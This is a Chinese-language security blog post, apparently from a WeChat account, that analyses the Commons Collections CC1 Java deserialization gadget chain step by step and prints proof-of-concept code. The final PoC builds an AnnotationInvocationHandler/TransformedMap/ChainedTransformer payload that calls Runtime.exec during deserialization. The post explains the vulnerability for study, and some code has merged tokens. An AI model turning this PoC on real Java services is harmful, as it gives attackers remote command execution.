|
CC1利用链
序列化和反序列化是为了方便对象的传输和存储,利用序列化可以将Java对象转换为字节码可以将字节码存储在文件或在网络中进行传输,在需要恢复对象的时候可以利用反序列化将字节码恢复为对象。然而在反序列化的时候被反序列化的数据可控攻击者可以通过精心构造的恶意数据,在反序列化的时候触发恶意命令执行。在Java中执行命令的类包括了Runtime等,但是由于该类没有实现Serializable接口无法进行序列化,所以需要在Java内置的模块中寻找可控的方法通过反射的方式来调用Runtime执行恶意命令。
CC利用链便是比较经典的利用链,本文主要对CC1利用链的原理进行分析
漏洞信息
混子Hacker
01
利用链简介
利用链的原理是:
1、AnnotationInvocationHandler.readObject()触发反序列化
2、AbstractInputCheckedMapDecorator#MapEntry.SetValue对checkSetValue()进行调用
3、利用TransformedMap.checkSetValue()对ChainedTransformer.transform()进行调用
4、利用ChainedTransformer.transform()对InvokerTransformer.transform()方法通过反射执行命令
混子Hacker
02
利用链分析
从后往前分析,首先需要找到能触发命令执行并且参数可控的地方
一、命令执行
InvokerTransformer
在InvokerTransformer.transform()中发现该函数利用反射可以实现任意命令执行
在InvokerTransformer类的构造函数中可以对
iMethodName、iArgs、iParamTypes 三个参数实现控制,可以执行任意命令
ChainedTransformer
Runtime类没有继承Serializable类无法进行序列化,需要先使用反射获取Runtime对象,所以需要多次调用InvokerTransformer.transfom()进行利用
查询到ChainedTransformer ,该类实现了Transformer接口,其transform方法会将上一个对象的结果作为下一个对象的输入,与递归类似进行链式调用
它的构造函数接收Transformer类型的集合,满足要求
构造如下所示代码进行利用
Transformers[] transfomers = new Transformer[]{
new ConstantTransformer(Runtime.class),
//获取getRuntime方法
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
//执行getRuntime方法获取Runtime对象
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
//执行任意命令
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
二、查找调用
TransformedMap
向上分析看哪个地方调用transform()方法,在TransformedMap.checkSetValue()方法中找到了调用,并且valueTransformer在TransformedMap类的构造函数中可控
但是构造器和checkSetValue方法都是protected属性,也就是说无法在外部直接调用构造函数进行实例化对象,需要一个内部的public函数调用创建
查找发现decorate方法中存在对TransformedMap构造函数的调用进行创建对象,并且是public属性的,刚好满足要求
到此思路是利用反射获取TransformedMap类,调用其decorate实例化一个TransformedMap对象,将valueTransformer设置为ChainedTransformer
即如下所示
Transformers[] transfomers = new Transformer[]{
new ConstantTransformer(Runtime.class),
//获取getRuntime方法
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
//执行getRuntime方法获取Runtime对象
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
//执行任意命令
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap();
map.put("aa","bb");
Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);
但是这里checksetVlue是protected属性无法直接调用所以代码还需要再找一个调用该函数的地方
MapEntry
向上分析checkSetValue()调用,在MapEntry.setValue()中存在调用parent的checkSetValue()方法,并且了解Map的都知道在entry就是在遍历Map时的键值对,可以通过getValue和Setvalue对值进行操作,而这里正是对setValue这个方法进行了重写
TransformedMap的父类是AbstractInputCheckedMapDecorator
所以如果对TransformedMap的Map进行遍历,并调用entry的SetValue方法会执行父类重写的方法,然后调用checkSetValue方法
(这里有点绕过看不懂的多理几遍就懂了)
整理一下代码如下
Transformers[] transfomers = newTransformer[]{
newConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),
newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),
newInvokerTransformer("exec",newClass[]{String.class}, newObject[]{"calc"})
};
ChainedTransformer chainedTransformer = newChainedTransformer(transformers);
HashMap<Object,Object> map = newHashMap();
map.put("aa","bb");
Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);
for (Map.Entry<Object,Object> entry : transformed.entrySet()){
entry.setValue(null);
}
运行当前的poc成功执行命令
三、查找反序列化入口
向上分析setValue的调用,最好是在readobject方法中
在AnnotationInvocationHandler发现存在调用并且是在readobject方法中满足要求,但是可以看到要想走到setValue的地方需要满足两个条件
1、memberType不为空
2、membervalue需要有值
在构造函数中可以看到传入了两个值一个是type一个是membervalues
第二个条件好理解就是传入TransformedMap.decorate()返回的Map即可
但是第一个条件则是通过传入的type经过如下获取到的memberType要满足不为空,大致的意思就是我们传入的注解值必须是存在的
annotationType = AnnotationType.getInstance(type);
Map<String, class<?>> memberTypes = annotationType.memberTypes();
String name = memberValue.getKey();
Class<?>memberType =memberTypes.get(name);
但是这里还有一个问题就是构造函数没有写明访问修饰符,则默认为private也就是说我们无法直接通过构造函数创建对象,需要使用反射,并且这里传入的两个参数都是private的需要设置为可访问才可设置其值
最终的poc如下
Transformers[] transfomers = newTransformer[]{
newConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),
newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),
newInvokerTransformer("exec",newClass[]{String.class}, newObject[]{"calc"})
};
ChainedTransformerchainedTransformer=newChainedTransformer(transformers);
HashMap<Object,Object> map = newHashMap();
map.put("aa","bb");
Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);
Class c=Class.*forName*("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Objecto= constructor.newInstance(Target.class,transformed);
serialize(o);
unserialize("ser.bin");
publicstaticvoidserialize(Object obj)throws Exception {
ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("ser.bin"));
oos.writeObject(obj);
}
publicstatic Object unserialize(String Filename)throws Exception {
ObjectInputStreamois=newObjectInputStream(newFileInputStream(Filename));
Objectobj= ois.readObject();
return obj;
}
<<< END >>>
原创文章|转载请附上原文出处链接
更多漏洞|关注作者查看
作者|混子Hacker
原文始发于微信公众号(混子Hacker):【渗透知识】CC1利用链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论